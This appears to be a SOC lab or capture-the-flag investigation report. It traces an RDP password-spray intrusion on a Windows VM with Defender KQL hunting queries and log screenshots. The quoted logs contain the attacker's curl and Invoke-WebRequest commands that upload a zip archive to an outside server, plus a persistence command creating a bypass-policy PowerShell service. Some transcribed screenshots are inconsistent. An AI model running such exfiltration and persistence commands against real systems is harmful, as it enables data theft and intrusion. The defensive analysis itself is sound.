



“Hide Your RDP”: Password Spray Leads to Full Compromise

SOC Investigation Report — *thseptbruce1*

Lab Setup Context

To support this investigation exercise, I created a dedicated **Windows 11 virtual machine (VM)** in the cloud environment. The purpose of this VM was to act as the **target system** for simulated attacker activity, providing a controlled environment in which to observe logons, process executions, persistence mechanisms, and network activity.

The VM was then **onboarded into Microsoft Defender for Endpoint (MDE)** so that full telemetry (logon events, process creation, registry changes, and network traffic) could be collected and queried using Advanced Hunting. This ensured that all attacker actions could be tracked end-to-end, while maintaining a safe and isolated lab for analysis.

Virtual Machine: thseptbruce1

Time Created: 9/21/2025, 3:44 PM UTC

OS: Windows 11

Virtual machine		Networking	
Computer name	thseptbruce1	Public IP address ⓘ	-
Operating system	Windows	Public IP address (IPv6)	-
VM generation	V2	Private IP address	10.1.1.6
VM architecture	x64	Private IP address (IPv6)	-

Onboarded to MDE:

Export							
Filters: Transient device: No ⌂ Exclusion state: Not Excluded ⌂							
<input type="checkbox"/> Name	IP	Criticality level	Device category	Device type	Domain	Device AAD id	Risk level ⓘ ↓
<input type="checkbox"/> thseptbruce1	10.1.1.6	Computers and Mo...	Workstation	Workgroup			■■■■ No known

Report ID: INC-2025-0001

Analyst: Bruce Thornton

Date: 9/21/2025 through 9/26/2025

Incident Date: 14-September-2025

1. Findings

Key Indicators of Compromise (IOCs):

- **Attack Source IP:** 159.26.106.84
- **Compromised Account:** slflare
- **Malicious File (name / hash / path):** msupdate.exe
- **Persistence Mechanism:** Scheduled Task — MicrosoftUpdateSync
- **C2 Server (IP / domain):** 185.92.220.87
- **Exfiltration Destination:** 185.92.220.87:8081

🚩 Flag 1: Attacker IP Address

Flag 1 — Attacker IP (159.26.106.84)

“Someone from the internet (that IP address) was the source of the attack — prompting an investigation.”

Answer: 159.26.106.84

MITRE Technique: T1110.001 – Brute Force: Password Guessing

Evidence: Successful RDP logons from this IP to compromised account `sflare`.

KQL Query Used (MDE):

`DeviceLogonEvents`

```
| where Timestamp between (datetime(2025-09-14 00:00:00) .. datetime(2025-09-16 23:59:59))
| where DeviceName contains "flare" or DeviceName contains "thseptbruce1"
| where LogonType in (7, 10) or tostring(ActionType) == "LogonSuccess"
| project Timestamp, DeviceName, AccountName, RemoteIP, LogonType, LogonResult =
  tostring(ActionType), InitiatingProcessFileName
| order by Timestamp asc
```

The screenshot shows the Microsoft Defender for Cloud (MDC) Kusto Query Editor interface. At the top, there are buttons for 'Run query', 'Set in query', 'Save', 'Share link', and 'Create detection rule'. Below the header is a 'Query' section with a code editor containing the KQL query. The code editor has line numbers (62-71) and a note about time zone settings. The main area shows the results of the query, which include 21 items. The results table has columns: Timestamp, DeviceName, AccountName, RemoteIP, LogonType, and LogonResult. The results show two entries for account `sflarewinsysmo` and one entry for account `umfd-0`. All entries have `LogonType` set to `Interactive`. The timestamp for all entries is `Sep 16, 2025 1:34:46`.

Timestamp	DeviceName	AccountName	RemoteIP	LogonType	LogonResult
Sep 16, 2025 1:34:46	sflarewinsysmo	umfd-1		Interactive	
Sep 16, 2025 1:34:46	sflarewinsysmo	umfd-0		Interactive	
Sep 16, 2025 1:34:46	10.0.0.1	user-1	159.26.106.84	Interactive	

Timestamp	DeviceName	AccountName	RemoteIP	LogonType	LogonResult	InitiatingProcessFileName
> Sep 16, 2025 1:34:14 PM	slflarewinsysmo	umfd-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:34:14 PM	slflarewinsysmo	umfd-0		Interactive	LogonSuccess	
> Sep 16, 2025 1:34:15 PM	slflarewinsysmo	dwm-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:34:15 PM	slflarewinsysmo	dwm-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:40:57 PM	slflarewinsysmo	slflare		Network	LogonSuccess	lsass.exe
> Sep 16, 2025 1:40:57 PM	slflarewinsysmo	slflare	(*) 159.26.106.84	Network	LogonSuccess	
> Sep 16, 2025 1:41:29 PM	slflarewinsysmo	umfd-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:41:29 PM	slflarewinsysmo	umfd-0		Interactive	LogonSuccess	wininit.exe
> Sep 16, 2025 1:41:30 PM	slflarewinsysmo	dwm-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:41:30 PM	slflarewinsysmo	dwm-1		Interactive	LogonSuccess	
> Sep 16, 2025 1:43:38 PM	slflarewinsysmo	slflare		Network	LogonSuccess	lsass.exe
> Sep 16, 2025 1:43:38 PM	slflarewinsysmo	slflare	(*) 159.26.106.84	Network	LogonSuccess	
> Sep 16, 2025 1:43:41 PM	slflarewinsysmo	umfd-2		Interactive	LogonSuccess	winlogon.exe
> Sep 16, 2025 1:43:42 PM	slflarewinsysmo	dwm-2		Interactive	LogonSuccess	winlogon.exe
> Sep 16, 2025 1:43:42 PM	slflarewinsysmo	dwm-2		Interactive	LogonSuccess	winlogon.exe
> Sep 16, 2025 1:43:46 PM	slflarewinsysmo	slflare		RemoteInteractive	LogonSuccess	lsass.exe

🚩 Flag 2: Compromised Account

Flag 2 — Compromised Account (slflare)

“The attacker successfully used a real user account on the machine — this shows they had valid access, not just probing.”

Answer: slflare

MITRE Technique: T1078 – Valid Accounts

Evidence: Account **slflare** used in successful RDP logons from external attacker IP.

KQL Query Used (MDE):

DeviceLogonEvents

```
| where Timestamp between (datetime(2025-09-14) .. datetime(2025-09-17))
| where DeviceName contains "flare"
| take 20
```

Run query Set in query Save Share link Create detection rule

Query

Query results are presented in your local time zone as per settings. Kusto filters, however, work in UTC.

DeviceLogonEvents
| where Timestamp between (datetime(2025-09-14) .. datetime(2025-09-17))
| where DeviceName contains "flare"
| take 20

Getting started Results Query history

Export Show empty columns 20 items Search 00:01.283 Low

Filters: Add filter

Timestamp	DeviceId	DeviceName	ActionType	LogonType
Sep 16, 2025 1:34:...	401039d292f73a34a4...	sflarewinsysmo	LogonAttempted	Unknown
Sep 16, 2025 1:34:...	401039d292f73a34a4...	sflarewinsysmo	LogonSuccess	Interactive
Sep 16, 2025 1:34:...	401039d292f73a34a4...	sflarewinsysmo	LogonAttempted	Unknown

Timestamp	DeviceId	DeviceName	ActionType	LogonType
Sep 16, 2025 1:34:...	401039d292f73a34a4...	sflarewinsysmo	LogonSuccess	Interactive
Sep 16, 2025 1:34:14 PM				
DeviceId	401039d292f73a34a435e685c7090049cb7ce6d5			
DeviceName	sflarewinsysmo			
ActionType	LogonSuccess			
LogonType	Interactive			
AccountDomain	font driver host			
AccountName	umfd-1			
AccountSid	S-1-5-96-0-1			
Protocol	Negotiate			
LogonId	39682			
InitiatingProcessTokenEl...	None			
InitiatingProcessId	724			
InitiatingProcessParentId	0			
ReportId	10			
AdditionalFields	{"IsLocalLogon":true}			
InitiatingProcessSessionId	0			

Further evidence showing “sifflare” activity (screenshots):

▼	Sep 16, 2025 1:35:09 PM	401039d292f73a34a4...	slflarewinsysmo
Timestamp	Sep 16, 2025 1:35:09 PM		
DeviceId		401039d292f73a34a435e685c7090049cb7ce6d5	
DeviceName		slflarewinsysmo	
ActionType	LogonFailed		
LogonType	Network		
AccountName	slflarewinsysmo		
Protocol	NTLM		
FailureReason	InvalidUserNameOrPassword		
RemoteDeviceName		windows7	
RemoteIP	(o)	79.76.123.251	

Timestamp	Sep 16, 2025 1:36:55 PM
DeviceId	401039d292f73a34a435e685c7090049cb7ce6d5
DeviceName	slflarewinsysmo
ActionType	LogonFailed
LogonType	Network
AccountName	slflare
Protocol	NTLM
FailureReason	UnauthorizedLogonType
RemoteDeviceName	sanc-main
RemoteIP	159.26.106.84
RemoteIPType	Public
RemotePort	0
InitiatingProcessTokenEl...	None
InitiatingProcessId	0
InitiatingProcessParentId	0
ReportId	991
AdditionalFields	{"IsLocalLogon":false}

Timestamp	Sep 16, 2025 1:40:57 PM
DeviceId	401039d292f73a34a435e685c7090049cb7ce6d5
DeviceName	sflarewinsysmo
ActionType	LogonSuccess
LogonType	Network
AccountDomain	sflarewinsysmo
AccountName	sflare
AccountSid	S-1-5-21-415952123-3427508315-3774372505-500
IsLocalAdmin	1
InitiatingProcessAccountName	nt authority\SYSTEM
InitiatingProcessAccountDomain	system
InitiatingProcessAccountSid	S-1-5-18
InitiatingProcessIntegrityLevel	System
InitiatingProcessTokenType	TokenElevationTypeDefault
InitiatingProcessSHA1	5874c705ebb39053378b2aa653a707e31541ad1f
InitiatingProcessSHA256	055a1226a769948a79ed0972bdee2d91937c4b521e0b9046f9b8ccc63d110115

🚩 Flag 3: Executed Binary Name

Flag 3 — Executed Binary (msupdate.exe)

“After getting in, the attacker ran a suspicious program named `msupdate.exe` — likely the initial malicious tool.”

Answer: msupdate.exe

MITRE Techniques:

- T1059.003 – Command and Scripting Interpreter: Windows Command Shell
- T1204.002 – User Execution: Malicious File

Evidence: Binary executed under compromised account immediately after RDP logon.

KQL Query Used (MDE):

```

DeviceProcessEvents
| where Timestamp between (datetime(2025-09-14 00:00:00) .. datetime(2025-09-16 23:59:59))
| where DeviceName contains "flare" or DeviceName contains "thseptbruce1"
| where FileName in~ ("msupdate.exe","wlrmrdr.exe","appmanager.exe","mssync.exe")
    or FileName has_any ("powershell","pwsh","cmd.exe","curl","wscript","cscript")
    or ProcessCommandLine has_any
        ("-ExecutionPolicy","-EncodedCommand","Invoke-WebRequest","Invoke-RestMethod","curl -X POST")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ProcessId
| order by Timestamp asc

```

The screenshot shows the Microsoft Sentinel Kusto Query Editor interface. At the top, there are buttons for 'Run query', 'Set in query', 'Save', 'Share link', and 'Create detection rule'. Below that is a section titled 'Query' with a note about time zone settings. The main area contains the Kusto query code:

```

1 DeviceProcessEvents
2 | where Timestamp between (datetime(2025-09-14 00:00:00) .. datetime(2025-09-16 23:59:59))
3 | where DeviceName contains "flare" or DeviceName contains "thseptbruce1"
4 | where FileName in~ ("msupdate.exe","wlrmrdr.exe","appmanager.exe","mssync.exe")
5     or FileName has_any ("powershell","pwsh","cmd.exe","curl","wscript","cscript")
6     or ProcessCommandLine has_any
7         ("-ExecutionPolicy","-EncodedCommand","Invoke-WebRequest","Invoke-RestMethod","curl -X POST")
8 | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ProcessId
9 | order by Timestamp asc
10

```

Below the query editor is a results table with the following columns: 'Timestamp', 'DeviceName', 'FileName', 'ProcessCommandLine', and 'InitiatingProcessFileName'. The table shows several log entries, with the first few rows expanded to show the full command line. At the bottom of the table, there is a scrollable list of all 131 items.

Timestamp	DeviceName	FileName	ProcessCommandLine	InitiatingProcessFileName
Sep 16, 2025 1:35:...	sflarewinsysmo	powershell.exe	powershell.exe -Executi...	senseir.exe
Sep 16, 2025 1:36:...	sflarewinsysmo	cmd.exe	cmd.exe /c ""C:\Package... windowsazurerequestage...	
Sep 16, 2025 1:36:...	sflarewinsysmo	powershell_ise.exe	"powershell_ise.exe" "C:\Windows\System32\LogFiles\WMI\wmi_maintenance.ps1"	explorer.exe
Sep 16, 2025 2:32:07 PM	sflarewinsysmo	cmd.exe	cmd.exe /c for /f "tokens=3" <unknown>a && if /i not "<unknown>"=="Yes" (net user ... wmpvrse.exe	wmpvrse.exe -Embeddi... system
Sep 16, 2025 2:38:40 PM	sflarewinsysmo	msupdate.exe	"msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1	powershell.exe
Sep 16, 2025 2:39:45 PM	sflarewinsysmo	cmd.exe	"cmd.exe" /c "sc.exe create "MSUpdateService" binPath= "powershell.exe -ExecutionPol... powershell.exe	powershell.exe
Sep 16, 2025 2:39:45 PM	sflarewinsysmo	sc.exe	sc.exe create "MSUpdateService" binPath= "powershell.exe -ExecutionPolicy Bypass -Fil... cmd.exe	"cmd.exe" /c "sc.exe cre... sflare
Sep 16, 2025 2:39:45 PM	sflarewinsysmo	cmd.exe	"cmd.exe" /c "sc.exe description "MSUpdateService" "Provides automated Microsoft pro... powershell.exe	powershell.exe

🚩 Flag 4: Command Line Used to Execute the Binary

Flag 4 — Command Line to Run the Binary

“The attacker launched that program using a command that told Windows to run a PowerShell script (`update_check.ps1`) — this is how the attacker activated the payload.”

Answer: "msupdate.exe" -ExecutionPolicy Bypass -File

C:\Users\Public\update_check.ps1

MITRE Technique: T1059 – Command and Scripting Interpreter

Evidence: Command line parameters showed payload execution from Public folder.

KQL Query Used (MDE):

DeviceProcessEvents

```
| where Timestamp between (datetime(2025-09-14 00:00:00) .. datetime(2025-09-16 23:59:59))
| where DeviceName contains "flare" or DeviceName contains "thseptbruce1"
| where FileName == "msupdate.exe" or ProcessCommandLine contains "update_check.ps1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName,
InitiatingProcessFileName
| order by Timestamp asc
```

The screenshot shows the Microsoft Defender XDR Kusto Query Editor interface. The top navigation bar includes 'Run query', 'Set in query', 'Save', 'Share link', and 'Create detection rule'. Below the query editor, the results tab is selected, showing a single item. The results table has columns: Timestamp, DeviceName, FileName, ProcessCommandLine, and AccountName. The data row shows: Sep 16, 2025 2:38:40 PM, sflarewinsysmo, msupdate.exe, "msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1, powershell.exe, powershell.exe, sflare. Below the table, detailed log entries are listed for the same event, including fields like ProcessId, AccountName, and ProcessCommandLine.

Timestamp	DeviceName	FileName	ProcessCommandLine	AccountName
Sep 16, 2025 2:38:40 PM	sflarewinsysmo	msupdate.exe	"msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1	powershell.exe
Timestamp	DeviceName	FileName	ProcessCommandLine	AccountName
Sep 16, 2025 2:38:40 PM	sflarewinsysmo	msupdate.exe	"msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1	powershell.exe
ProcessCommandLine	InitiatingProcessFileName	AccountName	ProcessId	
"msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1	powershell.exe	sflare	7616	

🚩 Flag 5: Persistence Mechanism Created

Flag 5 — Persistence (MicrosoftUpdateSync scheduled task)

“They set up a scheduled task so the malicious program would keep running after reboots — this keeps their access alive over time.”

Answer: MicrosoftUpdateSync

MITRE Technique: T1053.005 – Scheduled Task/Job: Scheduled Task

Evidence: Scheduled task created by attacker to maintain persistence.

KQL Query Used (MDE):

```
DeviceRegistryEvents
| where Timestamp between (datetime(2025-09-14) .. datetime(2025-09-17))
| where DeviceName contains "flare"
| where RegistryKey contains "TaskCache"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName
| order by Timestamp asc
```

The screenshot shows the Microsoft Defender for Cloud Kusto Query Editor interface. The top navigation bar includes 'Run query', 'Set in query', 'Save', 'Share link', and 'Create detection rule'. Below the navigation is a 'Query' section with a note about time zone settings. The main area displays the Kusto query code. The 'Results' tab is selected, showing 7 items found in 0:00:0.623. The results table has columns: Timestamp, DeviceName, RegistryKey, RegistryValueName, and RegistryValueData. Three rows of data are visible, all from Sep 16, 2025, at 1:46:... and involving the device 'sflarewinsysmo' and registry keys 'HKEY_LOCAL_MACHINE...'.

Timestamp	DeviceName	RegistryKey	RegistryValueName	RegistryValueData
Sep 16, 2025 1:46:...	sflarewinsysmo	HKEY_LOCAL_MACHINE...		
Sep 16, 2025 1:46:...	sflarewinsysmo	HKEY_LOCAL_MACHINE...		
Sep 16, 2025 1:46:...	sflarewinsysmo	HKEY_LOCAL_MACHINE...		

▼	Sep 16, 2025 2:39:45 PM	slflarewinskymsmo	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftUpdateSync
Timestamp	Sep 16, 2025 2:39:45 PM		
DeviceName	slflarewinskymsmo		
RegistryKey	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftUpdateSync		
InitiatingProcessFileName	svchost.exe		

🚩 Flag 6: C2 / Network Activity

Flag 6 — (C2 / Network activity → 185.92.220.87)

“The compromised machine connected to an external server (the attacker’s controller) — this is how the attacker could give instructions or pull more tools.”

Answer: 185.92.220.87

MITRE Techniques: T1071.001 – Application Layer Protocol: Web Protocols (HTTP/S); T1105 – Ingress Tool Transfer

Evidence: Outbound HTTP connections from attacker-controlled processes.

KQL Query Used (MDE):

```
let start = datetime(2025-09-14 00:00:00);
let end = datetime(2025-09-17 00:00:00);
DeviceNetworkEvents
| where Timestamp between (start .. end)
| where InitiatingProcessAccountName in~ ("slflare", "misawa")
| where InitiatingProcessFileName in~
("msupdate.exe", "appmanager.exe", "mssync.exe", "officeservice.exe", "powershell.exe", "cmd.exe",
", "curl.exe")
| extend RemoteIP = tostring(RemoteIP), RemoteUrl = tostring(RemoteUrl)
| where isnotempty(RemoteIP) or isnotempty(RemoteUrl)
| where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith
"127." or RemoteIP startswith "169.254." or RemoteIP matches regex
@"^172\.(1[6-9]|2[0-9]|3[0-1]).")
| extend Domain = iff(isnotempty(RemoteUrl), extract(@"https?://([^.]+)", 1, RemoteUrl), "")
| extend Destination = iff(isnotempty(Domain), Domain, RemoteIP)
| project Timestamp, InitiatingProcessAccountName, InitiatingProcessFileName,
InitiatingProcessCommandLine, Destination, RemoteIP, RemoteUrl, RemotePort, Protocol
| order by Timestamp asc
```

```

① Query results are presented in your local time zone as per settings. Kusto filters, however, work in UTC.
Don't want to see it again X

3 DeviceNetworkEvents
4 | where Timestamp between (start .. end)
5 | where InitiatingProcessAccountName in~ ("slflare", "misawa")
6 | where InitiatingProcessFileName in~ ("msupdate.exe", "appmanager.exe", "mssync.exe", "officeservice.exe", "pow")
7 | extend RemoteIP = tostring(RemoteIP), RemoteUrl = tostring(RemoteUrl)
8 | where isnotempty(RemoteIP) or isnotempty(RemoteUrl)
9 | where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith "127." or Re
10 | extend Domain = iff(isnotempty(RemoteUrl), extract(@"https://([^.]+)", 1, RemoteUrl), "")
11 | extend Destination = iff(isnotempty(Domain), Domain, RemoteIP)
12 | project Timestamp, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine,

```

Getting started Results Query history

Export Show empty columns 4 items Search 00:00:912 Low

Filters: [Add filter](#)

<input type="checkbox"/> Timestamp	InitiatingProcessAccountNa...	InitiatingProcessFileName	InitiatingProcessCommandL...	Destination
<input type="checkbox"/> > Sep 16, 2025 2:39:...	slflare	msupdate.exe	"msupdate.exe" -Executi...	185.92.220.87
<input type="checkbox"/> > Sep 16, 2025 2:42:...	slflare	powershell.exe	powershell.exe	185.92.220.87
> Sep 16, 2025 2:42:...	slflare	powershell.exe	powershell.exe	185.92.220.87
> Sep 16, 2025 2:43:02 PM	curl.exe	curl -X POST -F "file=@C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload		185.92.220.87
> Sep 16, 2025 2:39:03 PM	msupdate.exe	"msupdate.exe" -ExecutionPolicy Bypass -File C\Users\Public\update_check.ps1		185.92.220.87
> Sep 16, 2025 2:42:17 PM	powershell.exe	powershell.exe		185.92.220.87
> Sep 16, 2025 2:42:26 PM	powershell.exe	powershell.exe		185.92.220.87
> Sep 16, 2025 2:43:42 PM	curl.exe	curl -X POST -F "file=@C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload		185.92.220.87

🚩 Flag 7: Earliest Discovery Command

Flag 7 — Early Discovery Command ("cmd.exe" /c systeminfo)

“Shortly after logging in, the attacker ran commands to learn about the machine — basic “what is this system?” reconnaissance.”

Answer: "cmd.exe" /c systeminfo

MITRE Technique: T1082 – System Information Discovery

Evidence: Earliest discovery command executed under compromised account.

KQL Query Used (MDE):

DeviceProcessEvents

```

| where Timestamp between (datetime(2025-09-16) .. datetime(2025-09-16 23:59:59))
| where AccountName in~ ("slflare", "misawa")
| where ProcessCommandLine == "cmd.exe" /c systeminfo"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
| order by Timestamp asc

```

Run query Set in query Save Share link Create detection rule

Query

Query results are presented in your local time zone as per settings. Kusto filters, however, work in UTC.

```

16
17 DeviceProcessEvents
18 | where Timestamp between (datetime(2025-09-16) .. datetime(2025-09-16 23:59:59))
19 | where AccountName in~ ("slflare","misawa")
20 | where ProcessCommandLine == '"cmd.exe" /c systeminfo'
21 | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, AccountName
22 | order by Timestamp asc
23

```

Getting started Results Query history

Export Show empty columns 1 item Search 00:01.368 Low

Filters: Add filter

Timestamp	DeviceName	FileName	ProcessCommandLine	InitiatingProcessFileName
Sep 16, 2025 2:40:... slflarewinsysmo	cmd.exe	"cmd.exe" /c systeminfo	powershell.exe	

Timestamp	DeviceName	FileName	ProcessCommandLine	InitiatingProcessFileName	AccountName
Sep 16, 2025 2:40:... slflarewinsysmo	cmd.exe	"cmd.exe" /c systeminfo	powershell.exe	slflare	
Sep 16, 2025 2:40:28 PM					
DeviceName	slflarewinsysmo				
FileName	cmd.exe				
ProcessCommandLine	"cmd.exe" /c systeminfo				
InitiatingProcessFileName	powershell.exe				
AccountName	slflare				

* This was the most challenging flag, requiring over 100+ test attempts over the span of 4 days. We exhaustively tested variations of discovery commands ('whoami', 'systeminfo', 'ipconfig', 'netstat', etc.). After confirming with logs and cross-checking wrong-answer history, the accepted flag was: "cmd.exe" /c systeminfo
... (full list maintained separately in flag7_wrong_answers.txt)

🚩 Flag 8: Archive Creation & Upload

Flag 8 — Archive Created (backup_sync.zip)

"The attacker packaged up data into a zip file — that's the file they intended to steal."

Answer: backup_sync.zip

MITRE Technique: T1560.001 – Archive Collected Data: Archive via Utility

Evidence: Archive created in Temp folder, then uploaded via curl / Invoke-WebRequest.

KQL Queries Used (MDE):

```
// Upload commands
DeviceProcessEvents
| where Timestamp between (datetime(2025-09-14 00:00:00) .. datetime(2025-09-17 00:00:00))
| where AccountName in~ ("slflare","misawa")
| where ProcessCommandLine has_any ("curl -X
POST","Invoke-WebRequest","Invoke-RestMethod","-F \"file=@","/api/upload","-InFile")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| order by Timestamp asc
```

The screenshot shows the Microsoft Sentinel Kusto Query Editor interface. At the top, there are buttons for 'Run query', 'Set in query', 'Save', 'Share link', and 'Create detection rule'. Below the header, the query text is displayed with line numbers 22 through 31. A note indicates that results are in local time zone. The 'Results' tab is selected, showing 4 items found. The results table has columns: Timestamp, DeviceName, AccountName, FileName, and ProcessCommandLine. The data is as follows:

Timestamp	DeviceName	AccountName	FileName	ProcessCommandLine
Sep 16, 2025 2:43:...	slflarewinsysmo	slflare	cmd.exe	"cmd.exe" /c curl -X POST -F "file=@C:\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload
Sep 16, 2025 2:43:...	slflarewinsysmo	slflare	curl.exe	curl -X POST -F "file=@C:\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload
Sep 16, 2025 2:43:...	slflarewinsysmo	slflare	cmd.exe	"cmd.exe" /c powershell -Command "Invoke-WebRequest -Uri 'http://185.92.220.87:8081/api/upload' -Method POST -InFile 'C:\U..."
Sep 16, 2025 2:43:...	slflarewinsysmo	slflare	powershell.exe	powershell -Command "Invoke-WebRequest -Uri 'http://185.92.220.87:8081/api/upload' -Method POST -InFile 'C:\Users\SLFlare\..."

At the bottom, a detailed view of the fourth row is shown with expanded fields: Timestamp, DeviceName, AccountName, FileName, and ProcessCommandLine. The ProcessCommandLine field shows the full PowerShell command used to invoke the upload.

Timestamp	DeviceName	AccountName	FileName	ProcessCommandLine
Timestamp	Sep 16, 2025 2:43:20 PM			
DeviceName	slflarewinsysmo			
AccountName	slflare			
FileName	cmd.exe			
ProcessCommandLine	"cmd.exe" /c curl -X POST -F "file=@C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload			
Sep 16, 2025 2:43:20...	slflarewinsysmo	slflare	curl.exe	curl -X POST -F "file=@C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload
Timestamp	Sep 16, 2025 2:43:21 PM			
DeviceName	slflarewinsysmo			
AccountName	slflare			
FileName	curl.exe			
ProcessCommandLine	curl -X POST -F "file=@C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload			
Sep 16, 2025 2:43:21...	slflarewinsysmo	slflare	cmd.exe	"cmd.exe" /c powershell -Command "Invoke-WebRequest -Uri 'http://185.92.220.87:8081/api/upload' -Method POST -InFile 'C\U...
Timestamp	Sep 16, 2025 2:43:28 PM			
DeviceName	slflarewinsysmo			
AccountName	slflare			
FileName	cmd.exe			
ProcessCommandLine	"cmd.exe" /c powershell -Command "Invoke-WebRequest -Uri 'http://185.92.220.87:8081/api/upload' -Method POST -InFile 'C\Users\SLFlare\AppData\Local\Temp\backup_sync.zip'"			

🚩 Flag 9: C2 Connection Destination

Flag 9 — C2 Destination Confirmed (185.92.220.87)

“Multiple processes contacted the same external host — confirming that host as the attacker’s control/exfiltration server.”

Answer: 185.92.220.87

MITRE Techniques: T1071.001 — Application Layer Protocol: Web Protocols (HTTP/S); T1105 — Ingress Tool Transfer

KQL Query Used (MDE):

```
let start = datetime(2025-09-14 00:00:00);
let end  = datetime(2025-09-17 00:00:00);
DeviceNetworkEvents
| where Timestamp between (start .. end)
| where InitiatingProcessAccountName in~ ("slflare", "misawa")
| where InitiatingProcessFileName in~ ("msupdate.exe", "powershell.exe", "curl.exe", "cmd.exe")
| extend RemoteIP = tostring(RemoteIP), RemoteUrl = tostring(RemoteUrl)
| where isnotempty(RemoteIP) or isnotempty(RemoteUrl)
| where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith "127." or RemoteIP startswith "169.254." or RemoteIP matches regex
@"^172.(1[6-9]|2[0-9]|3[0-1]).")
| extend Destination = iff(isnotempty(extract(@"https?://([/:]+)", 1, RemoteUrl)),
extract(@"https?://([/:]+)", 1, RemoteUrl), RemoteIP)
| summarize FirstSeen=min(Timestamp) by Destination
| order by FirstSeen asc
| take 1
```

Run query Set in query Save Share link Create detection rule

Query

Query results are presented in your local time zone as per settings. Kusto filters, however, work in UTC.

```
let start = datetime(2025-09-14 00:00:00);
let end = datetime(2025-09-17 00:00:00);
DeviceNetworkEvents
| where Timestamp between (start .. end)
| where InitiatingProcessAccountName in~ ("slflare","misawa")
| where InitiatingProcessFileName in~ ("msupdate.exe","powershell.exe","curl.exe","cmd.exe")
| extend RemoteIP = tostring(RemoteIP), RemoteUrl = tostring(RemoteUrl)
| where isnotempty(RemoteIP) or isnotempty(RemoteUrl)
| where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith "127." or RemoteIP startswith "0.0.0.0")
| extend Destination = iff(isnotempty(extract(@"https?://([^.]+)", 1, RemoteUrl)), extract(@"https?://([^.]+)", 1, RemoteUrl), RemoteIP)
```

Don't want to see it again X

Getting started Results Query history

Export Show empty columns 1 item Search 00:01:39 Low ⓘ

Filters: Add filter

Destination	FirstSeen
185.92.220.87	Sep 16, 2025 2:39:03 PM

Destination	FirstSeen
▼ 185.92.220.87	Sep 16, 2025 2:39:03 PM
Destination	185.92.220.87
FirstSeen	Sep 16, 2025 2:39:03 PM

Flag 10: Exfiltration Attempt Detected

Flag 10 — Exfil Attempt (185.92.220.87:8081)

“The attacker tried to upload the staged zip file to that external server over HTTP — this is the actual data theft attempt.”

Answer: 185.92.220.87:8081

MITRE Technique: T1048.003 – Exfiltration Over Unencrypted Protocol

Evidence: Outbound HTTP POSTs using curl and Invoke-WebRequest uploading backup_sync.zip to external server.

KQL Queries Used (MDE):

// Network evidence

```

DeviceNetworkEvents
| where Timestamp between (datetime(2025-09-16 00:00:00) .. datetime(2025-09-16 23:59:59))
| where InitiatingProcessAccountName in~ ("slflare","misawa")
| where InitiatingProcessFileName in~ ("msupdate.exe","powershell.exe","curl.exe","cmd.exe")
| extend RemoteIP = tostring(RemoteIP), RemotePort = tostring(RemotePort)
| where isnotempty(RemoteIP)
| where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith "127." or RemoteIP startswith "169.254." or RemoteIP matches regex @".^172\.(1[6-9]|2[0-9]|3[0-1]).")
| project Timestamp, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, Protocol
| order by Timestamp asc

```

// Network evidence

DeviceNetworkEvents

| where Timestamp between (datetime(2025-09-16 00:00:00) .. datetime(2025-09-16 23:59:59))

| where InitiatingProcessAccountName in~ ("slflare","misawa")

| where InitiatingProcessFileName in~ ("msupdate.exe","powershell.exe","curl.exe","cmd.exe")

| extend RemoteIP = tostring(RemoteIP), RemotePort = tostring(RemotePort)

| where isnotempty(RemoteIP)

| where not (RemoteIP startswith "10." or RemoteIP startswith "192.168." or RemoteIP startswith "127." or RemoteIP startswith "169.254." or RemoteIP matches regex @".^172\.(1[6-9]|2[0-9]|3[0-1]).")

| project Timestamp, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, Protocol

| order by Timestamp asc

Timestamp	InitiatingProcessFileName	InitiatingProcessCommandLine	RemoteIP	RemotePort	Protocol
> Sep 16, 2025 2:39:03 PM	msupdate.exe	"msupdate.exe" -ExecutionPolicy Bypass -File C:\Users\Public\update_check.ps1	(*) 185.92.220.87	80	Tcp
> Sep 16, 2025 2:42:17 PM	powershell.exe	powershell.exe	(*) 185.92.220.87	80	Tcp
